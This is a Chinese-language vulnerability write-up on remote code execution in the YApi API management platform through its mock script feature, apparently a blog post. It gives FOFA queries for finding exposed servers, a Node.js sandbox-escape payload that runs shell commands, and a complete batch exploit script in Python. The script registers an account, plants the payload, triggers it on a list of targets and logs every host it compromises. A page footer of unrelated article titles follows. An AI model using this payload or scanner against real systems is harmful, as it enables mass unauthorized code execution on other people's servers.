0x00简介

YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。有了YAPI,我们可以很方便的测试、管理和维护多个项目的API接口,不像Swagger那样是随应用生和灭的(且线上环境下大多数须关闭),YAPI是一个独立的服务平台。

0x01漏洞描述

YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问
YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

0x02影响版本

YApi<=V1.92 All

0x03FOFA语句

icon_hash="-715193973"
app=“YApi”

0x04漏洞复现

1、进入网页注册一个用户

2、点击添加项目

3、输入项目名称之后点击创建项目

4、之后在全局mock脚本中写入以下POC并保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()


5、之后在接口处填入内容并提交

6、点击接口名称

7、点击mock地址

8、命令执行成功

0x05批量POC

import requests
import urllib3
import json
import argparseparser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.filedef poc_1(get_url):if(get_url[-1]=='/'):get_url=get_url[:-1]print(get_url)Reg_url=get_url+"/api/user/reg"headers = {'Content-Type': 'application/json',"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",}data={'email':'gua@qq.com','password':'123456','username':'Guatest'}try:urllib3.disable_warnings()Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)if Reg_res.json()['errcode']==0:poc_2(get_url)else:print(get_url+"  "+Reg_res.text)except Exception as e:print(get_url+"  poc_1  请求出错")def poc_2(get_url):Login_url=get_url+"/api/user/login"headers = {'Content-Type': 'application/json',"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",}data={'email':'gua@qq.com','password':'123456'}try:Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])if Login_res.json()['errcode']==0:poc_3(get_url,Login_cookie)else:print("登陆失败")except Exception as e:print(get_url+"  poc_2  请求出错")def poc_3(get_url,Login_cookie):headers={'Content-Type': 'application/json','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36','Cookie':Login_cookie}Get_id_url=get_url+"/api/group/list"try:Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)G_id=str(Get_id_res.json()['data'][0]['_id'])if Get_id_res.json()['errcode']==0:poc_4(get_url,G_id,Login_cookie)else:print("获取group_id失败")except Exception as e:print(get_url+"  poc_3  请求出错")
def poc_4(get_url,G_id,Login_cookie):NewProjecet_url=get_url+"/api/project/add"data={'name':'tes','basepath':'','group_id':G_id,'icon':'code-o','color':'blue','project_type':'private'}headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36','Cookie': Login_cookie}try:NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)get_id=str(NewProjecet_res.json()['data']['_id'])if NewProjecet_res.json()['errcode']==0:poc_5(get_url,Login_cookie,get_id)else:print('创建目录失败失败')except Exception as e:print(get_url+"  poc_4  请求出错")
def poc_5(get_url,Login_cookie,get_id):Mock_url=get_url+'/api/project/up'headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36','Cookie': Login_cookie}data={'id':get_id,'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",'is_mock_open':True}try:Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)if Mock_res.json()['errcode']==0:poc_6(get_url, Login_cookie, get_id)else:print("mock创建失败")except Exception as e:print(get_url+"  poc_5   请求出错")
def poc_6(get_url,Login_cookie,get_id):Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36','Cookie': Login_cookie}try:Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)Catid=Cat_id_res.json()['data'][0]['_id']poc_7(get_url,Login_cookie,get_id,Catid)except Exception as e:print(get_url+"  poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36','Cookie': Login_cookie}data={'method':'GET','catid':Catid,'title':'guatest','path':'/guatest','project_id':get_id}port_add_url=get_url+"/api/interface/add"try:port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)if port_add_res.json()['errcode']==0:poc_8(get_url,Login_cookie,get_id)else:print("接口创建失败")except Exception as e:print(get_url+"  poc_7   请求出错")
def poc_8(get_url,Login_cookie,get_id):headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36','Cookie': Login_cookie}vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'try:vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)print(vuln_url+'  '+vuln_res.text)with open('success.txt', 'a+', encoding="utf-8") as s:s.write(get_url + '   '+vuln_res.text+'\n')except Exception as e:print(get_url+"  poc_8   请求出错",e)
def file():with open(args.file,'r+',encoding='utf-8') as f:for i in f.readlines():s = i.strip()if 'http://' in s:poc_1(s)else:exp1 = 'http://'+spoc_1(exp1)
if __name__ == '__main__':try:if Get_url != '' and Get_file == '':if 'http://' in Get_url:poc_1(Get_url)else:exp2 = 'http://' + Get_urlpoc_1(exp2)elif Get_url == '' and Get_file != '':file()except KeyboardInterrupt:print("结束进程。。。。")pass

YApi接口管理平台远程代码执行漏洞(含批量POC)相关推荐

  1. android fastjson漏洞_【漏洞预警】Fastjson 远程代码执行漏洞(暂无PoC)

    Fastjson简介 Fastjson是一个Java语言编写的高性能功能完善的JSON库.它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Jav ...

  2. Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC

    Apache CouchDB 代码执行漏洞(CVE-2022-24706 ) 由于CouchDB的默认安装配置存在缺陷,最终可导致攻击者通过访问特定端口,绕过权限校验并获得管理员权限 CVE-2022 ...

  3. Yapi Mock 远程代码执行漏洞

    跟风一波复现Yapi 漏洞描述: YApi接口管理平台远程代码执行0day漏洞,攻击者可通过平台注册用户添加接口,设置mock脚本从而执行任意代码.鉴于该漏洞目前处于0day漏洞利用状态,强烈建议客户 ...

  4. Linux包管理器apt/apt-get发现远程代码执行漏洞

    研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...

  5. 华平信息技术股份有限公司 AVCON6 系统管理平台存在 strut2 远程代码执行漏洞

    文章目录 华平信息技术股份有限公司 AVCON6 系统管理平台存在 strut2 远程代码执行漏洞 1. 华平信息技术股份有限公司 AVCON6 系统管理平台简介 2.漏洞描述 3.影响版本 4.fo ...

  6. Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施

    一.问题描述 2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在的一个大规模.高影响的漏洞.此漏洞称为 Log4Shell,安全跟踪编码为 ...

  7. 公司停电,程序员去网吧写代码;iPhone 14将于北京时间9月8日发布;GitLab修复一个关键远程代码执行漏洞|极客头条

    「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...

  8. 公司停电,程序员去网吧写代码;iPhone 14将于北京时间9月8日发布;GitLab修复一个关键远程代码执行漏洞|极客头条...

    「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...

  9. Struts2被曝远程代码执行漏洞;叮咚买菜抢菜工具;find替代方案…|叨资讯

    点击关注强哥,还有100多G的面试资料等你来拿 哈喽,大家好,我是强哥. Struts2被曝远程代码执行漏洞:Facebook开源文本编辑器库Lexical:PyCharm 2022.1 正式发布:一 ...

最新文章

  1. 梯度优化算法Adam
  2. 南京超过广州!4 月程序员工资统计出炉,平均 14596 元
  3. 基于Azure Blob冷存储的数据压缩备份总结
  4. onenote创建快速笔记--此分区尚不可用,它是从其他设备添加的,该设备同步后才将可用
  5. 某final神犇的工作感想
  6. abrels.inc.php_setlist.js
  7. 读写锁分离的循环队列
  8. 热修复 阿里的AndFix
  9. LOJ #6285. 数列分块入门 9-分块(查询区间的最小众数)
  10. java入门到精通6版pdf_java从入门到精通第6章.pdf
  11. 2、如何利用CommMonitor串口监控,抓取串口Modbus RTU数据包
  12. 软件可维护性测试方法,软件可维护性
  13. python 合并word并生成目录_使用Python制作WORD报告
  14. CAD2008中常用快捷命令
  15. 网络相关概念扫盲:公网IP和私网IP 静态IP和动态IP 路由器和交换机和网关
  16. 如何设计出骚气的秒杀系统?
  17. 基于Ubuntu20.04运行OP-TEE_3.17.0_QEMU_V8的环境搭建
  18. 制作指定比例尺的专题地图
  19. 手机连接电脑不读手机的终极解决方案
  20. 设计模式之路 | 建造者模式

热门文章

  1. 5G+工业互联网发展探讨
  2. python数据挖掘(2.分类 OneR算法)
  3. C++学习笔记4:编程练习一
  4. 【LeetCode】86. 分隔链表
  5. 什么是网络攻击?网络攻击手段有哪些?
  6. SequoiaDB巨杉数据库成为唯一入选 “硅谷2016 大数据地形图”中国厂商, 企业级市场超越MongoDB等海外产品...
  7. C#各语言版本特性介绍
  8. ubuntu16.04对比工具Meld安装和使用
  9. Jquery——将页面定位到某个具体位置
  10. 《Sony Vegas Pro 12标准教程》—— 2.6 添加背景音乐